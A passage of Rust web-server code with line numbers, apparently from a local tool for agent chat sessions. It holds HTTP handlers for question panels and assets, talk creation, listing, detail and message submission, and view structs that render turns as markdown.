7691 #[cfg(not(test))]
7692 {
7693 if let Some(id) = submitted {
7694 crate::consult::spawn_turn(&ui.talks, &id)
7695 .await
7696 .map_err(ApiError::from)?;
7697 }
7698 drop(reclaimed);
7699 }
7700 #[cfg(test)]
7701 let _ = submitted;
7702 #[cfg(test)]
7703 if let Some((talk, cfg, turn_guard)) = reclaimed {
7704 let talks = ui.talks.clone();
7705 let id = talk.id.clone();
7706 tokio::spawn(drain_loop(talk, talks, cfg, id, turn_guard));
7707 }
7708 Ok((StatusCode::ACCEPTED, Json(view)))
7709 })
7710 .await
7711}
7712
7713fn resolve_question(store: &Questions, id: &str) -> ApiResult<String> {
7715 if plain_record_id(id) && store.path_of(id).is_file() {
7716 return Ok(id.to_owned());
7717 }
7718 pick(
7719 store.list().into_iter().map(|q| q.id).collect(),
7720 id,
7721 "question",
7722 )
7723}
7724
7725async fn question_panel(State(ui): State<Arc<Ui>>, Path(id): Path<String>) -> ApiResult<Response> {
7740 blocking(move || {
7741 let id = resolve_question(&ui.questions, &id)?;
7742 let Some(html) = ui.questions.panel_html(&id) else {
7743 return Err(ApiError::not_found(format!("question {id} has no panel")));
7744 };
7745 Ok(panel_response(
7746 "text/html; charset=utf-8",
7747 false,
7748 html.into_bytes(),
7749 ))
7750 })
7751 .await
7752}
7753
7754async fn question_asset(
7782 State(ui): State<Arc<Ui>>,
7783 Path((id, name)): Path<(String, String)>,
7784) -> ApiResult<Response> {
7785 if !crate::ask::valid_asset_name(&name) {
7788 return Err(ApiError::bad_request(format!(
7789 "`{name}` is not a usable asset name"
7790 )));
7791 }
7792 blocking(move || {
7793 let id = resolve_question(&ui.questions, &id)?;
7794 let asset = ui
7795 .questions
7796 .panel_asset(&id, &name)
7797 .map_err(|e| ApiError::bad_request(format!("{e:#}")))?;
7798 let Some(bytes) = asset else {
7799 return Err(ApiError::not_found(format!(
7800 "question {id} has no asset `{name}`"
7801 )));
7802 };
7803 Ok(panel_response(
7804 asset_content_type(&name),
7805 is_svg(&name),
7806 bytes,
7807 ))
7808 })
7809 .await
7810}
7811
7812fn asset_content_type(name: &str) -> &'static str {
7825 match extension(name).as_deref() {
7826 Some("png") => "image/png",
7827 Some("jpg" | "jpeg") => "image/jpeg",
7828 Some("gif") => "image/gif",
7829 Some("webp") => "image/webp",
7830 Some("svg") => "image/svg+xml",
7831 Some("css") => "text/css; charset=utf-8",
7832 Some("txt") => "text/plain; charset=utf-8",
7833 _ => "application/octet-stream",
7834 }
7835}
7836
7837fn is_svg(name: &str) -> bool {
7840 extension(name).as_deref() == Some("svg")
7841}
7842
7843fn extension(name: &str) -> Option<String> {
7845 name.rsplit_once('.')
7846 .map(|(_, ext)| ext.to_ascii_lowercase())
7847}
7848
7849fn panel_response(content_type: &'static str, download: bool, body: Vec<u8>) -> Response {
7866 let mut res = (
7867 [
7868 (header::CONTENT_TYPE, content_type),
7869 (header::CONTENT_SECURITY_POLICY, PANEL_CSP),
7870 (header::X_CONTENT_TYPE_OPTIONS, "nosniff"),
7871 (header::REFERRER_POLICY, "no-referrer"),
7872 ],
7873 body,
7874 )
7875 .into_response();
7876 if download {
7877 res.headers_mut().insert(
7878 header::CONTENT_DISPOSITION,
7879 HeaderValue::from_static("attachment"),
7880 );
7881 }
7882 res
7883}
7884
7885#[derive(Debug, Serialize)]
7891struct ChatApproval {
7892 question: String,
7893 target: crate::merge_decision::Target,
7894}
7895
7896#[derive(Debug, Serialize)]
7897struct TalkView {
7898 #[serde(flatten)]
7899 talk: Talk,
7900 turn_bodies_md: Vec<Vec<md::Node>>,
7901 turn_messages_md: Vec<Vec<Option<Vec<md::Node>>>>,
7903 pending_messages_md: Vec<Option<Vec<md::Node>>>,
7904 merge_approvals: Vec<ChatApproval>,
7905 thinking: bool,
7913 context: talk::ContextUsage,
7917 operator_name: Option<String>,
7920 persona_name: Option<String>,
7922 persona_avatar: String,
7925 operator_avatar: String,
7927 magi_avatar: String,
7928}
7929
7930impl TalkView {
7931 fn new(talk: Talk, thinking: bool, ui: &Ui) -> Self {
7934 let cfg = Config::discover(&talk.repo, None).ok().map(|(cfg, _)| cfg);
7935 Self::with_config(talk, thinking, cfg.as_ref(), &ui.home, &ui.references)
7936 }
7937
7938 fn with_config(
7941 talk: Talk,
7942 thinking: bool,
7943 cfg: Option<&Config>,
7944 home: &FsPath,
7945 cache: &id_links::IndexCache,
7946 ) -> Self {
7947 let references = cache.for_talk(home, &talk);
7948 Self::with_references(talk, thinking, cfg, home, &references)
7949 }
7950
7951 fn with_references(
7952 mut talk: Talk,
7953 thinking: bool,
7954 cfg: Option<&Config>,
7955 home: &FsPath,
7956 references: &id_links::IdIndex,
7957 ) -> Self {
7958 let snapshot = talk.clone();
7960 for (index, turn) in talk.turns.iter_mut().enumerate() {
7961 let original = &snapshot.turns[index];
7962 if turn.messages.is_empty() {
7963 if let Some(display) = talk::notice_display(&snapshot, original, None) {
7964 turn.messages.push(talk::Message {
7965 sender: Some(talk::Sender::Magi),
7966 body: original.body.clone(),
7967 display: Some(display),
7968 attachments: original.attachments.clone(),
7969 reply: None,
7970 });
7971 }
7972 } else {
7973 for (i, message) in turn.messages.iter_mut().enumerate() {
7974 message.display =
7975 talk::notice_display(&snapshot, original, original.messages.get(i));
7976 if message.display.is_some() {
7977 message.sender = Some(talk::Sender::Magi);
7978 }
7979 }
7980 }
7981 }
7982 for message in &mut talk.pending_messages {
7983 if message.display.is_none()
7984 && (message.sender == Some(talk::Sender::Magi)
7985 || snapshot
7986 .completion_notices
7987 .iter()
7988 .any(|r| r.notice == message.body))
7989 {
7990 message.display = crate::prompt::legacy_notice_display(&message.body);
7991 if message.display.is_some() {
7992 message.sender = Some(talk::Sender::Magi);
7993 }
7994 }
7995 }
7996 if talk.pending_messages.is_empty()
7997 && snapshot
7998 .completion_notices
7999 .iter()
8000 .any(|r| r.notice == talk.pending)
8001 && let Some(display) = crate::prompt::legacy_notice_display(&talk.pending)
8002 {
8003 talk.pending_messages.push(talk::Message {
8004 sender: Some(talk::Sender::Magi),
8005 display: Some(display),
8006 body: talk.pending.clone(),
8007 attachments: talk.pending_attachments.clone(),
8008 reply: None,
8009 });
8010 }
8011 let excerpts: Vec<Vec<Option<String>>> = talk
8012 .turns
8013 .iter()
8014 .map(|turn| {
8015 turn.messages
8016 .iter()
8017 .map(|m| {
8018 m.display
8019 .as_ref()
8020 .map(|d| d.facts.chars().take(240).collect())
8021 })
8022 .collect()
8023 })
8024 .collect();
8025 for turn in &mut talk.turns {
8026 let provenance = talk::sender(turn, None);
8027 turn.sender = Some(provenance);
8028 for message in &mut turn.messages {
8029 message.sender = Some(message.sender.unwrap_or(provenance));
8030 }
8031 }
8032 let senders: Vec<Vec<talk::Sender>> = talk
8034 .turns
8035 .iter()
8036 .map(|turn| {
8037 if turn.messages.is_empty() {
8038 vec![talk::sender(turn, None)]
8039 } else {
8040 turn.messages
8041 .iter()
8042 .map(|m| talk::sender(turn, Some(m)))
8043 .collect()
8044 }
8045 })
8046 .collect();
8047 for reply in talk
8048 .turns
8049 .iter_mut()
8050 .flat_map(|t| t.messages.iter_mut())
8051 .chain(talk.pending_messages.iter_mut())
8052 .filter_map(|m| m.reply.as_mut())
8053 {
8054 if let Some(Some(excerpt)) = excerpts
8055 .get(reply.target.turn)
8056 .and_then(|ms| ms.get(reply.target.message))
8057 {
8058 reply.excerpt = excerpt.clone();
8059 reply.sender = Some(talk::Sender::Magi);
8060 }
8061 if reply.sender.is_none() {
8062 reply.sender = senders
8063 .get(reply.target.turn)
8064 .and_then(|messages| messages.get(reply.target.message))
8065 .copied();
8066 }
8067 }
8068 let context = talk::context_usage(&talk, cfg);
8069 let mut turn_bodies_md: Vec<Vec<md::Node>> = talk
8070 .turns
8071 .iter()
8072 .map(|turn| md::to_nodes(&turn.body, &md::ImageBase::None))
8073 .collect();
8074 let mut turn_messages_md: Vec<Vec<Option<Vec<md::Node>>>> = talk
8075 .turns
8076 .iter()
8077 .map(|turn| {
8078 if turn.messages.is_empty() {
8079 vec![notice_markdown(talk::sender(turn, None), &turn.body, None)]
8080 } else {
8081 turn.messages
8082 .iter()
8083 .map(|message| {
8084 notice_markdown(
8085 message.sender.unwrap_or(talk::Sender::Operator),
8086 &message.body,
8087 message.display.as_ref(),
8088 )
8089 })
8090 .collect()
8091 }
8092 })
8093 .collect();
8094 let mut pending_messages_md: Vec<Option<Vec<md::Node>>> = talk
8095 .pending_messages
8096 .iter()
8097 .map(|message| {
8098 notice_markdown(
8099 message.sender.unwrap_or(talk::Sender::Operator),
8100 &message.body,
8101 message.display.as_ref(),
8102 )
8103 })
8104 .collect();
8105 for nodes in &mut turn_bodies_md {
8106 references.markdown(nodes);
8107 }
8108 for nodes in turn_messages_md
8109 .iter_mut()
8110 .flatten()
8111 .chain(pending_messages_md.iter_mut())
8112 .flatten()
8113 {
8114 references.markdown(nodes);
8115 }
8116 let specs = cfg.map_or(&[][..], |c| &c.talk.personas[..]);
8117 let persona_name = persona::find(specs, &talk.persona)
8118 .filter(|p| !p.is_default())
8119 .map(|p| p.name);
8120 let mut avatar_persona = persona::find(specs, &talk.persona)
8121 .unwrap_or_else(|| persona::find(specs, persona::DEFAULT_ID).expect("default"));
8122 if avatar_persona.id != talk.persona
8124 && read_icon_file(&avatar_setting_path(home, Some(&talk.persona))).is_some()
8125 {
8126 avatar_persona.id.clone_from(&talk.persona);
8127 avatar_persona.icon = None;
8128 }
8129 let persona_avatar = avatar_url(home, &talk.id, &avatar_persona);
8130 let approvals_store = ask::Questions::at(home.join("questions"));
8131 let merge_approvals = talk
8132 .notified
8133 .iter()
8134 .filter_map(|key| key.strip_prefix("question:"))
8135 .filter_map(|id| approvals_store.get(id).ok())
8136 .filter(|q| crate::task_chat::approval_offered(&talk, q))
8137 .filter_map(|q| {
8138 Some(ChatApproval {
8139 question: q.id,
8140 target: q.merge_target?,
8141 })
8142 })
8143 .collect();
8144 let operator_name = cfg.and_then(|c| c.talk.operator_name()).map(str::to_owned);
8145 Self {
8146 turn_bodies_md,
8147 turn_messages_md,
8148 pending_messages_md,
8149 merge_approvals,
8150 thinking,
8151 context,
8152 operator_name,
8153 persona_name,
8154 persona_avatar,
8155 magi_avatar: magi_icon_url(home),
8156 operator_avatar: operator_icon_url(home),
8157 talk,
8158 }
8159 }
8160}
8161
8162fn notice_markdown(
8164 sender: talk::Sender,
8165 body: &str,
8166 display: Option<&crate::prompt::NoticeDisplay>,
8167) -> Option<Vec<md::Node>> {
8168 if sender != talk::Sender::Magi {
8169 return None;
8170 }
8171 let text = if let Some(display) = display {
8172 display.facts.as_str()
8173 } else {
8174 if crate::prompt::is_completion_notice(body)
8177 || body.starts_with(&format!("# {}\n", crate::prompt::CHAT_CONSULT_HEADING))
8178 {
8179 return None;
8180 }
8181 body.strip_prefix("magi: ").unwrap_or(body)
8182 };
8183 Some(md::to_nodes(text, &md::ImageBase::None))
8184}
8185
8186#[derive(Debug, Serialize)]
8191struct TalkDetailView {
8192 #[serde(flatten)]
8193 view: TalkView,
8194 tasks: Vec<TaskView>,
8195 task_progress: TalkTaskProgress,
8196 roster: Vec<RosterEntry>,
8199 personas: Vec<PersonaEntry>,
8202}
8203
8204#[derive(Debug, Serialize)]
8206struct TalkTaskProgress {
8207 state: &'static str,
8208 total: usize,
8209 done: usize,
8210 counts: std::collections::BTreeMap<&'static str, usize>,
8211 unfinished_ids: Vec<String>,
8212}
8213
8214fn talk_task_progress(tasks: &[Task]) -> TalkTaskProgress {
8215 let mut counts = std::collections::BTreeMap::from([
8216 ("queued", 0),
8217 ("running", 0),
8218 ("done", 0),
8219 ("failed", 0),
8220 ("held", 0),
8221 ("blocked", 0),
8222 ("parked", 0),
8223 ]);
8224 let mut unfinished_ids = Vec::new();
8225 for task in tasks {
8226 *counts.entry(task.status.as_str()).or_default() += 1;
8227 if task.status != TaskStatus::Done {
8228 unfinished_ids.push(task.id.clone());
8229 }
8230 }
8231 TalkTaskProgress {
8232 state: if tasks.is_empty() {
8233 "none"
8234 } else if unfinished_ids.is_empty() {
8235 "complete"
8236 } else {
8237 "incomplete"
8238 },
8239 total: tasks.len(),
8240 done: tasks.len() - unfinished_ids.len(),
8241 counts,
8242 unfinished_ids,
8243 }
8244}
8245
8246#[derive(Debug, Serialize)]
8248struct PersonaEntry {
8249 id: String,
8250 name: String,
8251 avatar: String,
8253}
8254
8255#[derive(Debug, Serialize)]
8257struct RosterEntry {
8258 id: String,
8259 kind: AgentKind,
8260 runnable: bool,
8262}
8263
8264async fn talks_list(
8269 State(ui): State<Arc<Ui>>,
8270 Query(q): Query<ListQuery>,
8271) -> ApiResult<Json<Vec<TalkView>>> {
8272 blocking(move || {
8273 let mut configs: HashMap<PathBuf, Option<Config>> = HashMap::new();
8274 let talks = q.ids.as_ref().map_or_else(
8275 || ui.talks.list(),
8276 |ids| {
8277 ids.split(',')
8278 .filter(|id| plain_record_id(id))
8279 .filter_map(|id| ui.talks.get(id).ok())
8280 .collect()
8281 },
8282 );
8283 let references = if talks.iter().any(id_links::has_references) {
8284 ui.references.get(
8285 &ui.runs,
8286 &ui.queue,
8287 &ui.questions,
8288 &ui.talks,
8289 talks.iter().any(id_links::has_findings),
8290 )
8291 } else {
8292 Arc::new(id_links::IdIndex::default())
8293 };
8294 Ok(Json(
8295 talks
8296 .into_iter()
8297 .filter(|talk| q.contains(&talk.id))
8298 .map(|talk| {
8299 let thinking = ui.is_thinking(&talk.id);
8300 let cfg = configs
8301 .entry(talk.repo.clone())
8302 .or_insert_with(|| Config::discover(&talk.repo, None).ok().map(|(c, _)| c));
8303 TalkView::with_references(talk, thinking, cfg.as_ref(), &ui.home, &references)
8304 })
8305 .collect(),
8306 ))
8307 })
8308 .await
8309}
8310
8311#[derive(Debug, Default, Deserialize)]
8316#[serde(default)]
8317struct NewTalk {
8318 agent: Option<String>,
8319 repo: Option<PathBuf>,
8320 preferred_agent: Option<serde_json::Value>,
8324 persona: Option<serde_json::Value>,
8325 implementers: Option<serde_json::Value>,
8326}
8327
8328async fn talk_post(
8331 State(ui): State<Arc<Ui>>,
8332 body: std::result::Result<Json<NewTalk>, JsonRejection>,
8333) -> ApiResult<impl IntoResponse> {
8334 let body = match body {
8338 Ok(Json(body)) => body,
8339 Err(JsonRejection::MissingJsonContentType(_)) => NewTalk::default(),
8340 Err(e) => return Err(ApiError::bad_request(e.body_text())),
8341 };
8342 let repo = body.repo.clone().unwrap_or_else(|| ui.repo.clone());
8343 let cfg = config_for(&repo).await?;
8344 let view = blocking(move || {
8345 let preferred = talk::Preferred {
8346 agent: body
8347 .preferred_agent
8348 .as_ref()
8349 .and_then(|v| v.as_str())
8350 .map(str::to_owned),
8351 persona: body
8352 .persona
8353 .as_ref()
8354 .and_then(|v| v.as_str())
8355 .map(str::to_owned),
8356 implementers: body.implementers.as_ref().and_then(|v| v.as_i64()),
8357 };
8358 let talk = talk::begin_with(&ui.talks, &cfg, repo, body.agent.as_deref(), &preferred)?;
8359 let thinking = ui.is_thinking(&talk.id);
8360 Ok(TalkView::new(talk, thinking, &ui))
8361 })
8362 .await?;
8363 Ok((StatusCode::CREATED, Json(view)))
8364}
8365
8366async fn talk_core(State(ui): State<Arc<Ui>>, Path(id): Path<String>) -> ApiResult<Json<TalkView>> {
8368 blocking(move || {
8369 let id = resolve_talk(&ui.talks, &id)?;
8370 let talk = ui.talks.get(&id)?;
8371 let thinking = ui.is_thinking(&id);
8372 Ok(Json(TalkView::with_config(
8373 talk,
8374 thinking,
8375 None,
8376 &ui.home,
8377 &ui.references,
8378 )))
8379 })
8380 .await
8381}
8382
8383async fn talk_sections(
8384 State(ui): State<Arc<Ui>>,
8385 Path(id): Path<String>,
8386) -> ApiResult<Json<serde_json::Value>> {
8387 blocking(move || {
8388 let id = resolve_talk(&ui.talks, &id)?;
8389 let talk = ui.talks.get(&id)?;
8390 let tasks = ui.find_tasks_for_talk(&talk.id)?;
8391 let task_progress = talk_task_progress(&tasks);
8392 let tasks: Vec<_> = tasks
8393 .into_iter()
8394 .map(|task| {
8395 serde_json::json!({
8396 "id": task.id, "title": task.title, "status_str": task.status.as_str(),
8397 })
8398 })
8399 .collect();
8400 let cfg = Config::discover(&talk.repo, None).ok().map(|(cfg, _)| cfg);
8401 let roster: Vec<_> = cfg
8402 .as_ref()
8403 .map(|cfg| {
8404 cfg.agents
8405 .iter()
8406 .map(|a| RosterEntry {
8407 id: a.id.clone(),
8408 kind: a.kind,
8409 runnable: agent::installed(a),
8410 })
8411 .collect()
8412 })
8413 .unwrap_or_default();
8414 let specs = cfg
8415 .as_ref()
8416 .map(|cfg| cfg.talk.personas.clone())
8417 .unwrap_or_default();
8418 let personas: Vec<_> = persona::catalog(&specs)
8419 .into_iter()
8420 .map(|p| PersonaEntry {
8421 avatar: avatar_url(&ui.home, &talk.id, &p),
8422 id: p.id,
8423 name: p.name,
8424 })
8425 .collect();
8426 let active_persona = persona::find(&specs, &talk.persona)
8427 .unwrap_or_else(|| persona::find(&specs, persona::DEFAULT_ID).expect("default"));
8428 let persona_name = (!active_persona.is_default()).then(|| active_persona.name.clone());
8429 let persona_avatar = avatar_url(&ui.home, &talk.id, &active_persona);
8430 Ok(Json(serde_json::json!({
8431 "tasks": tasks, "task_progress": task_progress,
8432 "roster": roster, "personas": personas,
8433 "context": talk::context_usage(&talk, cfg.as_ref()),
8434 "context_for": talk.updated_at,
8435 "operator_name": cfg.as_ref().and_then(|cfg| cfg.talk.operator_name()),
8436 "persona_name": persona_name,
8437 "persona_avatar": persona_avatar,
8438 })))
8439 })
8440 .await
8441}
8442
8443async fn talk_detail(
8445 State(ui): State<Arc<Ui>>,
8446 Path(id): Path<String>,
8447) -> ApiResult<Json<TalkDetailView>> {
8448 blocking(move || {
8449 let id = resolve_talk(&ui.talks, &id)?;
8450 let talk = ui.talks.get(&id)?;
8451 let thinking = ui.is_thinking(&talk.id);
8452 let tasks = ui.find_tasks_for_talk(&talk.id)?;
8453 let task_progress = talk_task_progress(&tasks);
8454 let tasks = tasks.into_iter().map(TaskView::from).collect();
8455 let cfg = Config::discover(&talk.repo, None).ok().map(|(cfg, _)| cfg);
8456 let roster = cfg
8457 .as_ref()
8458 .map(|cfg| {
8459 cfg.agents
8460 .iter()
8461 .map(|a| RosterEntry {
8462 id: a.id.clone(),
8463 kind: a.kind,
8464 runnable: agent::installed(a),
8465 })
8466 .collect()
8467 })
8468 .unwrap_or_default();
8469 let specs = cfg
8470 .as_ref()
8471 .map(|cfg| cfg.talk.personas.clone())
8472 .unwrap_or_default();
8473 let personas = persona::catalog(&specs)
8474 .into_iter()
8475 .map(|p| PersonaEntry {
8476 avatar: avatar_url(&ui.home, &talk.id, &p),
8477 id: p.id,
8478 name: p.name,
8479 })
8480 .collect();
8481 Ok(Json(TalkDetailView {
8482 view: TalkView::with_config(talk, thinking, cfg.as_ref(), &ui.home, &ui.references),
8483 tasks,
8484 task_progress,
8485 roster,
8486 personas,
8487 }))
8488 })
8489 .await
8490}
8491
8492#[derive(Debug, Default, Deserialize)]
8498#[serde(default, deny_unknown_fields)]
8499struct NewTalkTurn {
8500 reply_to: Option<talk::ReplyTarget>,
8501 text: String,
8502 attachments: Vec<String>,
8503}
8504
8505#[derive(Debug, Deserialize)]
8506#[serde(deny_unknown_fields)]
8507struct EditTalkPending {
8508 #[serde(default)]
8509 message: Option<usize>,
8510 text: String,
8511 expected_text: String,
8512 expected_attachments: Vec<String>,
8513}
8514
8515#[derive(Debug, Deserialize)]
8516#[serde(deny_unknown_fields)]
8517struct ClearTalkPending {
8518 expected_text: String,
8519 expected_attachments: Vec<String>,
8520}
8521
8522async fn talk_say(
8534 State(ui): State<Arc<Ui>>,
8535 Path(id): Path<String>,
8536 body: std::result::Result<Json<NewTalkTurn>, JsonRejection>,
8537) -> ApiResult<(StatusCode, Json<TalkView>)> {
8538 let admission = ui.begin_admission()?;
8539 admitted(admission, async move {
8540 let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
8541 if body.text.trim().is_empty() && body.attachments.is_empty() {
8542 return Err(ApiError::bad_request("say something"));
8543 }
8544
8545 let id = {
8546 let ui = Arc::clone(&ui);
8547 let asked = id.clone();
8548 blocking(move || resolve_talk(&ui.talks, &asked)).await?
8549 };
8550 {
8554 let ui = Arc::clone(&ui);
8555 let id = id.clone();
8556 blocking(move || {
8557 let talk = ui.talks.get(&id)?;
8558 if !talk.status.open() {
8559 return Err(ApiError::conflict(format!(
8560 "talk {} is {} and takes no more turns",
8561 talk.short(),
8562 talk.status.as_str()
8563 )));
8564 }
8565 Ok(())
8566 })
8567 .await?;
8568 }
8569
8570 let attachments = {
8575 let ui = Arc::clone(&ui);
8576 let id = id.clone();
8577 let ids = body.attachments.clone();
8578 blocking(move || {
8579 ids.into_iter()
8580 .map(|att_id| {
8581 ui.talks.attachment_meta(&id, &att_id)?.ok_or_else(|| {
8582 ApiError::bad_request(format!("unknown attachment `{att_id}`"))
8583 })
8584 })
8585 .collect::<ApiResult<Vec<talk::Attachment>>>()
8586 })
8587 .await?
8588 };
8589 let _publication = crate::consult::publication_guard(&ui.talks, &id)
8590 .await.map_err(ApiError::from)?;
8591
8592 let start = {
8597 let ui = Arc::clone(&ui);
8598 let id = id.clone();
8599 blocking(move || ui.begin_talk_turn_unless_pending(&id)).await?
8600 };
8601 let turn_guard = match start {
8602 TalkTurnStart::Claimed(turn_guard) => turn_guard,
8603 TalkTurnStart::Pending => {
8604 return Err(ApiError::conflict(
8605 "a queued draft is waiting; resume it, edit it, or clear it before sending another message",
8606 ));
8607 }
8608 TalkTurnStart::Foreign => {
8609 return Err(ApiError::conflict(
8610 "a turn is already running in another process; try again when it has finished",
8611 ));
8612 }
8613 TalkTurnStart::Busy => {
8614 let (tx, rx) = tokio::sync::oneshot::channel();
8630 tokio::spawn({
8631 let ui = Arc::clone(&ui);
8632 let id = id.clone();
8633 let said = body.text.clone();
8634 let reply_to = body.reply_to.clone();
8635 async move {
8636 let written = blocking({
8637 let ui = Arc::clone(&ui);
8638 let id = id.clone();
8639 move || {
8640 let mut talk = ui.talks.get(&id)?;
8641 #[cfg(test)]
8646 if let Some(gate) = ui
8647 .busy_queue_gate
8648 .lock()
8649 .unwrap_or_else(PoisonError::into_inner)
8650 .take()
8651 {
8652 let _ = gate.reached.send(());
8653 let _ = gate.release.recv();
8654 }
8655 if let Err(error) = talk::queue_reply(
8656 &mut talk,
8657 &ui.talks,
8658 &said,
8659 attachments,
8660 reply_to,
8661 ) {
8662 if let Ok(fresh) = ui.talks.get(&id) {
8663 if !fresh.status.open() {
8664 return Err(ApiError::conflict(format!(
8665 "talk {} is {} and takes no more turns",
8666 fresh.short(),
8667 fresh.status.as_str()
8668 )));
8669 }
8670 }
8671 return Err(
8672 if error.to_string().contains("invalid reply target") {
8673 ApiError::bad_request("invalid reply target")
8674 } else {
8675 ApiError::from(error)
8676 },
8677 );
8678 }
8679 let claim = match ui.begin_queued_talk_turn(&id)? {
8690 Some(turn_guard) => {
8691 let (cfg, _) = Config::discover(&talk.repo, None)?;
8692 Some((talk.clone(), cfg, turn_guard))
8693 }
8694 None => None,
8695 };
8696 let thinking = ui.is_thinking(&id);
8697 Ok((TalkView::new(talk, thinking, &ui), claim))
8698 }
8699 })
8700 .await;
8701 #[cfg(not(test))]
8702 {
8703 match written {
8704 Ok((view, reclaimed)) => {
8705 let launched = crate::consult::spawn_turn(&ui.talks, &id).await;
8706 drop(reclaimed);
8707 match launched {
8708 Ok(_) => { let _ = tx.send(Ok(view)); }
8709 Err(error) => { let _ = tx.send(Err(ApiError::from(error))); }
8710 }
8711 }
8712 Err(error) => { let _ = tx.send(Err(error)); }
8713 }
8714 }
8715 #[cfg(test)]
8716 {
8717 let (view, reclaimed) = match written {
8718 Ok(pair) => pair,
8719 Err(e) => {
8720 let _ = tx.send(Err(e));
8725 return;
8726 }
8727 };
8728 let _ = tx.send(Ok(view));
8731 if let Some((talk, cfg, turn_guard)) = reclaimed {
8732 let talks = ui.talks.clone();
8733 drain_loop(talk, talks, cfg, id, turn_guard).await;
8734 }
8735 }
8736 }
8737 });
8738 let view = rx
8739 .await
8740 .map_err(|_| ApiError::internal("the talk turn task ended without answering"))??;
8741 return Ok((StatusCode::ACCEPTED, Json(view)));
8742 }
8743 };
8744
8745 let (talk, cfg) = {
8746 let ui = Arc::clone(&ui);
8747 let id = id.clone();
8748 blocking(move || {
8749 let talk = ui.talks.get(&id)?;
8750 let (cfg, _) = Config::discover(&talk.repo, None)?;
8751 Ok((talk, cfg))
8752 })
8753 .await?
8754 };
8755
8756 let talks = ui.talks.clone();
8757 let (tx, rx) = tokio::sync::oneshot::channel();
8772 tokio::spawn({
8773 #[cfg(test)]
8774 let ui = Arc::clone(&ui);
8775 let talks = talks.clone();
8776 let id = id.clone();
8777 let said = body.text.clone();
8778 let reply_to = body.reply_to.clone();
8779 let mut talk = talk.clone();
8780 async move {
8781 let recorded = blocking({
8782 let talks = talks.clone();
8783 move || {
8784 if let Err(error) =
8785 talk::record_reply(&mut talk, &talks, &said, attachments, reply_to)
8786 {
8787 if let Ok(fresh) = talks.get(&talk.id) {
8788 if !fresh.status.open() {
8789 return Err(ApiError::conflict(format!(
8790 "talk {} is {} and takes no more turns",
8791 fresh.short(),
8792 fresh.status.as_str()
8793 )));
8794 }
8795 }
8796 return Err(if error.to_string().contains("invalid reply target") {
8797 ApiError::bad_request("invalid reply target")
8798 } else {
8799 ApiError::from(error)
8800 });
8801 }
8802 Ok((said.trim().to_owned(), talk))
8808 }
8809 })
8810 .await;
8811 let (text, talk) = match recorded {
8812 Ok(pair) => pair,
8813 Err(e) => {
8814 let _ = tx.send(Err(e));
8818 return;
8819 }
8820 };
8821 #[cfg(not(test))]
8822 {
8823 let _ = (&cfg, &text);
8824 let result = crate::consult::spawn_recorded_turn(
8828 &talks, &id, talk.turns.len() - 1,
8829 ).await;
8830 drop(turn_guard);
8831 match result {
8832 Ok(_) => { let _ = tx.send(Ok((talk, true))); }
8833 Err(error) => { let _ = tx.send(Err(ApiError::from(error))); }
8834 }
8835 }
8836 #[cfg(test)]
8837 {
8838 let queued = talk.clone();
8839 let mut talk = talk;
8840 let thinking = ui.is_thinking(&id);
8841 let _ = tx.send(Ok((queued, thinking)));
8844
8845 if let Err(e) = turn_guard.respond(&mut talk, &talks, &cfg, &text).await {
8846 tracing::warn!("talk {id} turn failed: {e:#}");
8850 }
8851 drain_loop(talk, talks, cfg, id, turn_guard).await;
8854 }
8855 }
8856 });
8857
8858 let (queued, thinking) = rx
8859 .await
8860 .map_err(|_| ApiError::internal("the talk turn task ended without answering"))??;
8861
8862 Ok((
8864 StatusCode::ACCEPTED,
8865 Json(TalkView::new(queued, thinking, &ui)),
8866 ))
8867 }).await
8868}
8869
8870async fn talk_pending_resume(
8874 State(ui): State<Arc<Ui>>,
8875 Path(id): Path<String>,
8876) -> ApiResult<(StatusCode, Json<TalkView>)> {
8877 let admission = ui.begin_admission()?;
8878 admitted(admission, async move {
8879 let id = {
8880 let ui = Arc::clone(&ui);
8881 let asked = id.clone();
8882 blocking(move || resolve_talk(&ui.talks, &asked)).await?
8883 };
8884 let _publication = crate::consult::publication_guard(&ui.talks, &id)
8885 .await
8886 .map_err(ApiError::from)?;
8887 let Some(turn_guard) = ui.begin_talk_turn(&id)? else {
8888 return Err(ApiError::conflict(
8889 "a talk turn is already running; the queued draft will be handled by it",
8890 ));
8891 };
8892 let (talk, cfg) = {
8893 let ui = Arc::clone(&ui);
8894 let id = id.clone();
8895 blocking(move || {
8896 let talk = ui.talks.get(&id)?;
8897 if !talk.status.open() {
8898 return Err(ApiError::conflict(format!(
8899 "talk {} is {} and takes no more turns",
8900 talk.short(),
8901 talk.status.as_str()
8902 )));
8903 }
8904 if talk.pending.is_empty() && talk.pending_attachments.is_empty() {
8905 return Err(ApiError::conflict("there is no queued draft to resume"));
8906 }
8907 let (cfg, _) = Config::discover(&talk.repo, None)?;
8908 Ok((talk, cfg))
8909 })
8910 .await?
8911 };
8912 let view = TalkView::new(talk.clone(), true, &ui);
8913 let talks = ui.talks.clone();
8914 #[cfg(not(test))]
8915 detach_talk_turn(talk, talks, cfg, id, turn_guard).await?;
8916 #[cfg(test)]
8917 tokio::spawn(drain_loop(talk, talks, cfg, id, turn_guard));
8918 Ok((StatusCode::ACCEPTED, Json(view)))
8919 })
8920 .await
8921}
8922
8923#[cfg(not(test))]
8926async fn detach_talk_turn(
8927 _talk: Talk,
8928 talks: Talks,
8929 _cfg: Config,
8930 id: String,
8931 turn: TalkTurnGuard,
8932) -> ApiResult<()> {
8933 let launched = crate::consult::spawn_turn(&talks, &id).await;
8934 drop(turn);
8935 launched.map(|_| ()).map_err(ApiError::from)
8936}
8937
8938#[cfg(test)]
8939async fn drain_loop(talk: Talk, talks: Talks, cfg: Config, id: String, turn: TalkTurnGuard) {
8940 drain_loop_started(talk, talks, cfg, id, turn, None).await;
8941}
8942
8943async fn settle_settings_turn(
8947 talk: Talk,
8948 talks: Talks,
8949 cfg: Config,
8950 id: String,
8951 turn: TalkTurnGuard,
8952 observed: u64,
8953) -> bool {
8954 if talk.pending.is_empty() && talk.pending_attachments.is_empty() {
8955 let turns = Arc::clone(&turn.turns);
8956 let mut live = turns.lock().unwrap_or_else(PoisonError::into_inner);
8957 if live.queued.get(&id).copied().unwrap_or(0) == observed {
8958 turn.release(&mut live);
8960 return false;
8961 }
8962 }
8963 let (started, settled) = tokio::sync::oneshot::channel();
8964 tokio::spawn(drain_loop_started(
8965 talk,
8966 talks,
8967 cfg,
8968 id,
8969 turn,
8970 Some(started),
8971 ));
8972 settled.await.unwrap_or(false)
8973}
8974
8975#[cfg(not(test))]
8976async fn drain_loop_started(
